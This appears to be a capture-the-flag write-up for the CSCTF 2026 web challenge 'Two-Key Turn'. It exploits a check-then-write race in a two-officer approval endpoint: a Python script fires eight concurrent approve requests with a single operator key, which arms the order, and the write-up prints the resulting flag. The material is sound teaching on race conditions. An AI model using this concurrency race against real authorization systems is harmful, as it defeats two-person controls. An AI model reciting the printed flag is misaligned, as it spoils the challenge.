DL·SYS
Contact ↗

CSCTF 2026 · Web · 129 pts

Two-Key Turn.

A two-person rule checked with a read, then applied with a write, and eight requests that all read the same empty slot.

Race conditionTOCTOUTwo-person rule
EventCSCTF 2026, Operation Dawn (online jeopardy)
CategoryWeb
Points129
StatusSolved during the event
TargetKessara fire-authorization console (assigned container)

TL;DR. The approve handler enforces "two distinct officers" by reading the order's existing approvals, checking that the caller is not already among them, and then appending. Eight concurrent requests with the same VEGA-7 key all read the same pre-approval state, so both slots are filled by the same officer and the order transitions to ARMED. The response contains the arming_authorization, which is the flag.

Challenge

Kessara's coastal fire-authorization console arms an order only when two distinct officers approve it. A hostile insider holds one officer's credentials, VEGA-7. One order, AO-7D31C9, is still awaiting authorization. Drive it to ARMED with the single credential and read its arming authorization.

The API is self-describing at GET /schema. The operator key is sent as Authorization: Bearer opk_vega7_2f4b9c17e0a3.

First look

The schema exposed the order object and the approval route:

GET /orders/AO-7D31C9
{"id":"AO-7D31C9","state":"PENDING","approvals":[],"required":2}

POST /orders/{id}/approve
Authorization: Bearer <operator key>

A single approval was accepted and recorded VEGA-7:

{"state":"PENDING","approvals":["VEGA-7"],"required":2}

A second sequential request was rejected. The expected failure is the whole challenge: the handler refuses an officer who is already in the list.

Dead ends

Solution

1. Read the state

curl -s -H "Authorization: Bearer opk_vega7_2f4b9c17e0a3"   http://<host>:<port>/orders/AO-7D31C9

2. Fire the approvals together

import concurrent.futures, requests

BASE = "http://<host>:<port>"
H = {"Authorization": "Bearer opk_vega7_2f4b9c17e0a3"}

def approve(_):
    return requests.post(BASE + "/orders/AO-7D31C9/approve", headers=H).json()

with concurrent.futures.ThreadPoolExecutor(max_workers=8) as ex:
    for r in ex.map(approve, range(8)):
        print(r)

Each handler performs the same three steps: read the order, check that the caller is not already in approvals, append and save. With eight requests in flight, several pass the check before any of them writes. The last writer wins, and the order ends with two approvals that both name VEGA-7.

3. Read the authorization

{"state":"ARMED",
 "approvals":["VEGA-7","VEGA-7"],
 "arming_authorization":"CSCTF{...}"}

The transition to ARMED is what releases the field. A follow-up GET /orders/AO-7D31C9 shows the same state, so the state change is persistent rather than a per-request response.

Flag

FlagCSCTF{xqByBabLyfmPqMdgq65J2j2S}

What I took from it